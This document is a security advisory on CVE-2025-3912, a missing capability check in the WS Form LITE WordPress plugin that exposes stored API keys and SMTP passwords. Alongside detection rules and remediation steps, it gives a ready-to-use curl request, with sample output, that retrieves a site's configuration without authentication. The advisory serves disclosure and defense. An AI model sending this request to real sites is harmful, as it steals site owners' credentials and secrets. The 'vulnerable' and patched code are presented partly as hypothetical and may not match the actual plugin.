CVE-2025-3912

Executive Summary

CVE-2025-3912 is a Missing Authorization vulnerability in the WS Form LITE – Drag & Drop Contact Form Builder for WordPress plugin, affecting all versions up to and including 1.10.35. The flaw resides in the get_config function, which fails to perform a capability check before returning sensitive configuration data. This allows unauthenticated attackers to retrieve the plugin’s settings, including API keys for integrated services (e.g., email marketing, payment gateways, or CRM platforms). The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time, but the potential for data exposure remains significant.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin directly from the WordPress admin dashboard or via manual upload are impacted. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin’s update mechanism should be monitored for patches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (API keys, settings).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 5.3, the exposure of API keys could lead to lateral movement or service compromise if those keys are reused across other platforms.

Deep Dive & Mechanics

The WS Form LITE plugin registers AJAX actions for both authenticated and unauthenticated users. The get_config function is intended to be used by administrators to retrieve plugin settings, but it is registered without a capability check. The function directly returns the plugin’s configuration array, which includes fields such as:

• api_key (for integrated services like Mailchimp, Salesforce, etc.)
• recaptcha_site_key and recaptcha_secret_key
• smtp_host, smtp_username, smtp_password
• Other sensitive settings

The vulnerability is triggered by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ws_form_get_config. Since no wp_verify_nonce or current_user_can check is performed, any unauthenticated user can retrieve this data.

Root Cause: Missing capability check in the get_config function within the plugin’s AJAX handler.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.10.35)

add_action('wp_ajax_ws_form_get_config', 'ws_form_get_config');
add_action('wp_ajax_nopriv_ws_form_get_config', 'ws_form_get_config'); // Unauthenticated access

function ws_form_get_config() {
    $config = get_option('ws_form_config');
    wp_send_json_success($config);
}

Patched Code (hypothetical fix)

add_action('wp_ajax_ws_form_get_config', 'ws_form_get_config');
// Remove the nopriv action to restrict to authenticated users

function ws_form_get_config() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized', 403);
        return;
    }
    $config = get_option('ws_form_config');
    wp_send_json_success($config);
}

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: A WordPress site with WS Form LITE <= 1.10.35 installed and activated.
2. Exploit Steps:
   • Send a POST request to http://target/wp-admin/admin-ajax.php with the following payload:

     action=ws_form_get_config
     

   • The response will contain the plugin’s configuration in JSON format, including API keys.
3. Example using cURL:

   curl -X POST http://target/wp-admin/admin-ajax.php -d "action=ws_form_get_config"
   

4. Expected Output:

   {"success":true,"data":{"api_key":"sk_test_...","recaptcha_secret_key":"6Lc...","smtp_password":"pass123"}}
   

Blue Team (Detection & Response)

1. Monitor AJAX Requests: Look for POST requests to /wp-admin/admin-ajax.php with action=ws_form_get_config from unauthenticated sources.
2. Check Logs: Review WordPress debug logs for unexpected access to the ws_form_get_config action.
3. Harden Plugin: Disable the plugin until a patch is available, or implement a Web Application Firewall (WAF) rule to block the specific action.
4. Rotate Exposed Keys: If exploitation is suspected, immediately rotate all API keys and secrets that were stored in the plugin’s settings.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with body containing action=ws_form_get_config
  • Source IPs making repeated unauthenticated AJAX requests to the same endpoint
• File IOCs:
  • Modified or suspicious entries in the wp_options table under the ws_form_config option
• Log IOCs:
  • WordPress debug log entries showing ws_form_get_config called without authentication
  • Web server access logs with POST /wp-admin/admin-ajax.php HTTP/1.1 and 200 response code from unknown IPs

Detection Engineering

YARA Rule

rule CVE_2025_3912_WS_Form_Config_Exposure {
    meta:
        description = "Detects exploitation attempts for CVE-2025-3912 in WS Form LITE plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3912"
    strings:
        $ajax_action = "action=ws_form_get_config"
        $admin_ajax = "/wp-admin/admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2025-3912 - WS Form LITE Config Exposure
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthenticated access to WS Form LITE plugin config via AJAX
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=ws_form_get_config'
    condition: selection
falsepositives:
    - Legitimate admin requests (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3912 - WS Form LITE Config Exposure"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ws_form_get_config"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the WS Form LITE plugin until a patched version is released.
   • Rotate any API keys or secrets that were stored in the plugin’s settings.
   • Implement a Web Application Firewall (WAF) rule to block requests containing action=ws_form_get_config from unauthenticated sources.

2. Long-term Fix:

   • Apply the vendor patch when available (currently UNKNOWN).
   • As a temporary workaround, add the following code to the theme’s functions.php file to remove the unauthenticated AJAX action:

     remove_action('wp_ajax_nopriv_ws_form_get_config', 'ws_form_get_config');
     

3. Monitoring:

   • Continuously monitor for exploitation attempts using the provided detection rules.
   • Review WordPress user roles and ensure only administrators have access to plugin settings.

4. Best Practices:

   • Always validate user capabilities and nonces in AJAX handlers.
   • Regularly audit WordPress plugins for known vulnerabilities.
   • Use a security plugin (e.g., Wordfence) to block malicious requests.

Valters IT
Securing Digital Frontiers